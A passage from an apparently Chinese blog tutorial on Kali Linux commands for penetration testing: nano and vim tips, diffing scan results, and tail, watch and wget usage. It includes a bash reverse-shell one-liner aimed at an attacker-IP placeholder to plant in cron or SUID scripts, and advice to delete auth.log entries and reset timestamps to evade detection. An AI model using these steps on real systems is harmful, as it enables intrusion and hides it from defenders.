&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;set linenumbers # 显示行号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;set mouse # 支持鼠标操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="二vivim编辑器渗透测试的瑞士军刀"&gt;二、Vi/Vim编辑器：渗透测试的瑞士军刀
&lt;/h3&gt;&lt;h4 id="1-模式切换与基本操作"&gt;1. &lt;strong&gt;模式切换与基本操作&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;模式切换&lt;/strong&gt;&lt;br&gt;
• 命令模式 → 插入模式：&lt;code&gt;i&lt;/code&gt;（光标前插入）、&lt;code&gt;a&lt;/code&gt;（光标后插入）&lt;br&gt;
• 返回命令模式：&lt;code&gt;Esc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;渗透常用操作&lt;/strong&gt;&lt;br&gt;
• &lt;strong&gt;批量替换&lt;/strong&gt;：&lt;code&gt;:%s/old/new/g&lt;/code&gt;（替换文件内所有匹配项）&lt;br&gt;
• &lt;strong&gt;快速跳转&lt;/strong&gt;：&lt;code&gt;:行号&lt;/code&gt;（如&lt;code&gt;:100&lt;/code&gt;跳至第100行）&lt;br&gt;
• &lt;strong&gt;执行外部命令&lt;/strong&gt;：&lt;code&gt;:!命令&lt;/code&gt;（如&lt;code&gt;:!nmap 192.168.1.1&lt;/code&gt;扫描目标）&lt;/p&gt;
&lt;h4 id="2-渗透实战场景"&gt;2. &lt;strong&gt;渗透实战场景&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;日志分析与篡改&lt;/strong&gt;&lt;br&gt;
使用&lt;code&gt;vim&lt;/code&gt;打开日志文件（如&lt;code&gt;/var/log/auth.log&lt;/code&gt;），通过&lt;code&gt;/Failed password&lt;/code&gt;快速定位爆破尝试记录并删除。&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;提权漏洞利用&lt;/strong&gt;&lt;br&gt;
编辑SUID文件或Cron任务脚本，插入反向Shell代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;bash -i &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt; /dev/tcp/攻击机IP/端口 0&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;多文件协同编辑&lt;/strong&gt;&lt;br&gt;
在渗透测试中同时操作多个配置文件，用&lt;code&gt;:e 文件名&lt;/code&gt;切换文件，&lt;code&gt;:sp&lt;/code&gt;分屏查看。&lt;/p&gt;
&lt;h4 id="3-高级功能配置"&gt;3. &lt;strong&gt;高级功能配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;启用行号与搜索高亮&lt;/strong&gt;&lt;br&gt;
在&lt;code&gt;~/.vimrc&lt;/code&gt;中添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-vim" data-lang="vim"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt; &lt;span class="c"&gt;&amp;#34; 显示行号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="nx"&gt;hlsearch&lt;/span&gt; &lt;span class="c"&gt;&amp;#34; 高亮搜索结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;syntax&lt;/span&gt; &lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="c"&gt;&amp;#34; 语法高亮&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="三命令速查表渗透向"&gt;三、命令速查表（渗透向）
&lt;/h3&gt;&lt;p&gt;| 功能 | Nano命令 | Vim命令 | 渗透用途 |
| - | | &amp;ndash; | |
| &lt;strong&gt;保存并退出&lt;/strong&gt; | &lt;code&gt;Ctrl+X&lt;/code&gt; → &lt;code&gt;Y&lt;/code&gt; | &lt;code&gt;:wq&lt;/code&gt; | 快速修改后退出 |
| &lt;strong&gt;搜索关键词&lt;/strong&gt; | &lt;code&gt;Ctrl+W&lt;/code&gt; | &lt;code&gt;/关键词&lt;/code&gt; | 定位配置文件中的敏感参数 |
| &lt;strong&gt;执行系统命令&lt;/strong&gt; | &lt;code&gt;Ctrl+T&lt;/code&gt; | &lt;code&gt;:!命令&lt;/code&gt; | 生成Payload或测试网络连通性 |
| &lt;strong&gt;批量替换&lt;/strong&gt; | &lt;code&gt;Ctrl+\&lt;/code&gt; → 输入替换词 | &lt;code&gt;:%s/old/new/g&lt;/code&gt; | 篡改日志或配置文件内容 |
| &lt;strong&gt;提权操作&lt;/strong&gt; | &lt;code&gt;sudo nano /etc/sudoers&lt;/code&gt; | &lt;code&gt;vim /etc/passwd&lt;/code&gt; | 添加特权用户或SUID权限 |&lt;/p&gt;
&lt;h3 id="四注意事项"&gt;四、注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;权限管理&lt;/strong&gt;：渗透测试中编辑系统文件需配合&lt;code&gt;sudo&lt;/code&gt;，避免因权限不足中断操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;备份机制&lt;/strong&gt;：使用&lt;code&gt;nano -B&lt;/code&gt;或&lt;code&gt;:w 备份文件名&lt;/code&gt;保留原始文件，防止误操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志清理&lt;/strong&gt;：通过编辑器删除日志后，需清除文件时间戳（&lt;code&gt;touch -r&lt;/code&gt;）以规避检测。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过灵活运用这些技巧，你可以显著提升在Kali Linux中的渗透测试效率。如需更完整的命令列表，可参考&lt;code&gt;man nano&lt;/code&gt;或&lt;code&gt;vimtutor&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="比较不同的方法和命令"&gt;比较不同的方法和命令
&lt;/h2&gt;&lt;h4 id="1-下载并解压扫描文件"&gt;&lt;strong&gt;1. 下载并解压扫描文件&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://offensive-security.com/pwk-files/scans.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 解压到当前目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;tar -xzvf scans.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 进入解压后的目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; scans
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2-确认需要对比的文件"&gt;&lt;strong&gt;2. 确认需要对比的文件&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250410225532597" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410225532597.png"&gt;&lt;/p&gt;
&lt;h4 id="3-使用"&gt;&lt;strong&gt;3. 使用 &lt;code&gt;diff&lt;/code&gt; 对比差异&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 基本对比（显示不同行的内容）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;diff 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成统一格式的差异报告（更易读）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; diff -u 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt &amp;gt; diff_report.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅关注关键信息（如开放的端口）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; 10.11.1.8_scan_01.txt &amp;gt; 10.11.1.8_scan_01_open.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; 10.11.1.8_scan_02.txt &amp;gt; 10.11.1.8_scan_02_open.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;diff -u 10.11.1.8_scan_01_open.txt 10.11.1.8_scan_02_open.txt 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250410225738510" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410225738510.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250410225905274" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410225905274.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250410230243776" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410230243776.png"&gt;&lt;/p&gt;
&lt;h4 id="4-使用"&gt;&lt;strong&gt;4. 使用 &lt;code&gt;comm&lt;/code&gt; 对比独有/共有行&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 先排序文件（comm要求输入已排序）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sort scan_old.txt &amp;gt; scan_old_sorted.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;sort scan_new.txt &amp;gt; scan_new_sorted.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比文件（显示scan_old独有、scan_new独有、共有行）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;comm s1.txt s2.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅显示新增内容（s2独有）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;comm -13 s1.txt s2.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅显示删除内容（s1独有）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;comm -23 s1.txt s2.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250410230629218" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410230629218.png"&gt;&lt;/p&gt;
&lt;h4 id="5-使用"&gt;&lt;strong&gt;5. 使用 &lt;code&gt;vimdiff&lt;/code&gt; 可视化对比&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 启动vimdiff并排对比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;vimdiff scan_old.txt scan_new.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250410230825363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410230825363.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作指南&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;导航差异点&lt;/strong&gt;：
• &lt;code&gt;]c&lt;/code&gt;：跳转到下一个差异位置。
• &lt;code&gt;[c&lt;/code&gt;：跳转到上一个差异位置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合并更改&lt;/strong&gt;（可选）：
• &lt;code&gt;do&lt;/code&gt;：将右侧内容应用到左侧（Diff Obtain）。
• &lt;code&gt;dp&lt;/code&gt;：将左侧内容应用到右侧（Diff Put）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;退出&lt;/strong&gt;：
• &lt;code&gt;:qa&lt;/code&gt;：退出所有窗口。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="6-实战技巧渗透测试关注点"&gt;&lt;strong&gt;6. 实战技巧（渗透测试关注点）&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;端口变化&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取新旧开放的端口列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; scan_old.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; &amp;gt; ports_old.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; scan_new.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; &amp;gt; ports_new.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;comm -13 ports_old.txt ports_new.txt &lt;span class="c1"&gt;# 新增端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;comm -23 ports_old.txt ports_new.txt &lt;span class="c1"&gt;# 关闭端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;服务版本变化&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比SSH服务版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;ssh&amp;#34;&lt;/span&gt; scan_old.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4,$5}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;ssh&amp;#34;&lt;/span&gt; scan_new.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4,$5}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="速查表"&gt;&lt;strong&gt;速查表&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;工具&lt;/th&gt;
 &lt;th&gt;命令示例&lt;/th&gt;
 &lt;th&gt;用途&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;diff&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;diff -u file1 file2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;生成行级差异报告&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;comm&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;comm -12 sorted1 sorted2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示共有行&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;vimdiff&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;vimdiff file1 file2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可视化交互式对比&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;grep&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;grep &amp;quot;open&amp;quot; file&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;过滤关键信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;sort&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sort file &amp;gt; sorted_file&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;排序文件以适配&lt;code&gt;comm&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;通过以上步骤，您可以高效分析扫描结果的差异，并快速定位目标系统的配置变化。&lt;/p&gt;
&lt;p&gt;以下是 Kali Linux 中渗透测试常用命令的 &lt;strong&gt;高频用法解析&lt;/strong&gt; 和 &lt;strong&gt;实战场景速查&lt;/strong&gt;，覆盖 &lt;code&gt;tail&lt;/code&gt;、&lt;code&gt;watch&lt;/code&gt;、&lt;code&gt;wget&lt;/code&gt;、&lt;code&gt;curl&lt;/code&gt;、&lt;code&gt;axel&lt;/code&gt;、&lt;code&gt;history&lt;/code&gt;、&lt;code&gt;alias&lt;/code&gt;：&lt;/p&gt;
&lt;h2 id="监控命令"&gt;监控命令
&lt;/h2&gt;&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;tail&lt;/code&gt;：实时追踪文件变化&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;监控日志&lt;/strong&gt;（如攻击痕迹、服务状态）
• &lt;strong&gt;追踪漏洞利用输出&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/apache2/access.log &lt;span class="c1"&gt;# 实时跟踪文件末尾（-f）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -n &lt;span class="m"&gt;50&lt;/span&gt; /var/log/auth.log &lt;span class="c1"&gt;# 显示最后50行（-n）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;tail --pid&lt;span class="o"&gt;=&lt;/span&gt;进程ID -f file.log &lt;span class="c1"&gt;# 跟踪文件直到进程结束&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实时观察 SSH 登录尝试（检测爆破行为）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/auth.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;Failed password&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;watch&lt;/code&gt;：周期性执行命令并监控&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-1"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;持续监控网络连接、进程状态&lt;/strong&gt;
• &lt;strong&gt;观察目标服务变化&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-1"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;watch -n &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;netstat -antup | grep ESTAB&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 每2秒刷新（-n）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;watch -d &lt;span class="s2"&gt;&amp;#34;ps aux | grep metasploit&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 高亮变化部分（-d）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-1"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 监控目标端口开放状态（检测防火墙规则变化）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;watch -n &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;nmap -p 80,443 192.168.1.100&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="下载命令"&gt;下载命令
&lt;/h2&gt;&lt;h3 id="1-1"&gt;&lt;strong&gt;1. &lt;code&gt;wget&lt;/code&gt;：非交互式文件下载&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-2"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;下载漏洞利用代码、字典文件&lt;/strong&gt;
• &lt;strong&gt;镜像目标网站&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-2"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://example.com/exploit.py -O /tmp/exp.py &lt;span class="c1"&gt;# 指定保存路径（-O）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget --user&lt;span class="o"&gt;=&lt;/span&gt;admin --password&lt;span class="o"&gt;=&lt;/span&gt;p@sswd http://intranet/backup.zip &lt;span class="c1"&gt;# 带认证下载&lt;/span&gt;
